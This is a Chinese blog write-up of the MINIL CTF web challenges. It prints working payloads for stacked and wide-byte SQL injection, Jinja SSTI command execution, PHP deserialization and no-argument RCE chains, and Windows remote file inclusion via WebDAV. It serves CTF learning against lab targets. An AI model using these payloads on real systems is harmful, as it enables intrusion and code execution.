MINIL CTF Write Up

/ 2评 / 0

西电的比赛,校内赛。我偷偷混进去了(比赛一周,先放了三个web,先写些WP吧)

Web 1 -id_wife

是一个注入题,测试以后发现过滤了select
报错注入可以得到数据库名:MINIL,但是过滤了select,之后的查询就不能进行了、
测试了半天后发现是堆叠注入。和随便注一样,就payload一把梭了
id=w1nd');handler 1145141919810 open as yun;handler yun read first;#
或者:
id=w1nd') ;SET @sql=concat(char(115,101,108,101,99,116)," * from 1145141919810");PREPARE sqla from @sql;EXECUTE sqla;#


Web 2 -Personal_IP_Query

打开靶机发现会回显IP,直接改xff头发现会有回显,这里肯定是利用点了
一开始尝试sql注入,过滤了' " 而且使用 \ 后没有任何回显,判断不是sql注入
然后尝试ssti。发现过滤了下划线,那不用就好了
{{[][request.args.c][request.args.b][0][request.args.s]()[76][request.args.i][request.args.g][request.args.bt].eval(request.args.d)}}
get:c=class&b=bases&s=subclasses&i=init&g=globals&bt=builtins&d=import('os').popen('cat /flag').read()


Web 3 -P

本题之前的环境有问题,导致wakeup绕不过去
后来出题人修了
首先改cookie读class.php

<?php
class gitee {
function upload() {
    echo '你用上了Git,可是,代价是什么呢(悲)';
}
function __construct($f) {
    $this->file = $f;
    }
}
class github {
    public $cmd = '';
    function upload() {
        if (preg_match("/[A-Za-oq-z0-9$]+/", $this->cmd)) //p
            die("cerror");
        $blacklist = "~!@#%^&*()()-_{}[]'\":,";
        foreach(str_split($blacklist) as $char) {
            echo $char;
            if(strchr($this->cmd, $char) !== false)
                die('serror');
        }
        eval($this->cmd);
    }
    public function __wakeup() {
        if ($_SERVER["HTTP_X_REAL_IP"] !== '127.0.0.1') {
            // proxy_set_header X-Real-IP $remote_addr;
            die('across the great ... nope');
        }
    }
}

反序列化了,可以发现github类和CTFSHOW的红包题二基本一致,只不过本题经过了 反序列化
赋值$a->cmd='?><?=. /??p/p?p??????;?>';
O:6:"github":3:{s:3:"cmd";s:26:"?><?=. /??p/p?p??????;?>";s:4:"file";s:9:"index.php";}
经过base64后赋值给cookie
之后的操作就一样了


Web 4 ezbypass

首先是一个登录框,fuzz了一会儿发现过滤了一吨东西,结果非预期绕过去了
“||1 limit 1 offset 3#
预期解是无列名和innodb,用sys库
返回了一个地址

此题也可以不注入直接发现这个页面。使用.DS_Store工具发现该目录直接访问
然后是一个bypass。
反序列化字符逃逸
xdsecflagflagflagflagflagflagflagflag";s:3:"V0n";s:14:"has_girlfriend";}
即可


Web 5 Let's_Play_Dolls

一个反序列化给了源码:

<?php class foo1{
    public $var='';
    function __construct(){
        $this->var='phpinfo();';
    }
    function execute(){
        if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->var)) {
            if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this->var)){
                eval($this->var);
            }
            else{
                die("hacked!");
            }
        }
    }
    function __wakeup(){
        $this->var="phpinfo();";
    }
    function __desctuct(){
        echo 'desctuct foo1';
    }
}
class foo2{
    public $var;
    public $obj;
    function __construct(){
        $this->var='hi';
        $this->obj=null;
    }
    function __toString(){
        $this->obj->execute();
        return $this->var;
    }
    function __desctuct(){
        echo 'desctuct foo2';
    }
}
class foo3{
    public $var;
    function __construct(){
        $this->var="index.php";
    }
    function __destruct(){
        if(file_exists($this->var)){
            echo "".$this->var."exist";
        }
        echo "desctuct foo3";
    }
    function execute(){
        print("hi");
    }
}

链子还行,通过赋值给foo1类下的var变量可以执行eval函数。看过滤的函数应该知道是个无参数rce了(套娃)

<?php
class foo1 {
    public $var ;
}
class foo3{
    public $var;
}
class foo2 {
    public $var;
    public $obj;
}
$f3 = new foo3();
$f2 = new foo2();
$f1 = new foo1();
#f1->var="print_r(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));"#读根目录
#$f1->var="var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));"; #读当前目录
#$f1->var="print_r(scandir(current(localeconv())));";
#show_source(end(scandir(pos(localeconv()))));
#highlight_file(end(scandir(getcwd())));
$f1->var="show_source(end(scandir(getcwd())));";
$f3->var = $f2;
$f2->obj = $f1;
echo serialize($f3);

输出的序列化值绕过一下wakeup即可赋值给var了,(之前绕不过wakeup,难顶)
有很多种方法读flag。贴出来一部分
无参数RCE和GXYCTF的一道题很像
https://www.gem-love.com/ctf/530.html
这里可以看到


Web 6 are you reclu3e?

打开靶机发现是一个登录框,用户名是reclu3e。密码不知道,不是sql注入。弱密码也出不来。可能社工题吧?
提示了vim,直接一把恢复

看到编码是GBK 就宽字节注入了
username=%df%27 union select 1,1#&password=1 直接登录
这里为什么:%df%27group by password with rollup having password is NULL %23
使用如上语句登录不上去。阅读php代码可知,如果$row 为空,会直接无法登陆,而$row的值为password,所以不能使用这种方法登录

然后进行反序列化
可以很明显的发现serialize会执行eval。直接赋值,将private改成public flag在phpinfo

一开始一直没加 ; 导致一直执行不出来,充满问号,我们需要先把eval函数的$s=""中的双引号闭合,然后执行我们需要的语句,由于题目最后加了分号,我们需要闭合整体语句让我们的语句执行正确
星际玩家星际玩家


Web 7 include

windows下的文件包含
可以用伪协议读一下f1na1.php的源码

<?php
    error_reporting(0);
    if(!$_GET[file]){echo' See hint.';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")||strstr($file,"php")){
        echo "Hacker!";
        exit();
    }
    include($file);

包含了半天敏感文件也找不到flag
后出题人告诉要rce,并且靶机可以访问外网。SMB因为国内把445端口都封了,导致运行不了。所以使用webdav
https://www.anquanke.com/post/id/201060#h3-9
自己搭了半天 没成功
vps docker一把梭
docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav&
通过写php代码进行写shell发现会被windows defender拦截,尝试了很多次都无果。那就直接扫目录了,
之前eval('system("whoami");'); 不能用,今天早上试了一下发现打通了。。不知道是不是非预期
直接eval('system("dir");');发现一个文本文档。type读一下

读到就是flag


Web 8 签到题

靶机只给了<?system($_GET['a'])?>
用户是www-data。有/readflag但是读不到。
内网里可以看到别人做的题。其他没有有用的信息,端口扫描没扫出东西
传入yes yes |/readflag是一个计算题。每次交互的时候会变。所以只能固定一个数爆破下

跑一会儿就出了

  1. admin说道:

    are you reclu3e的反序列化直接改public是因为和网鼎的原因一样吗

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注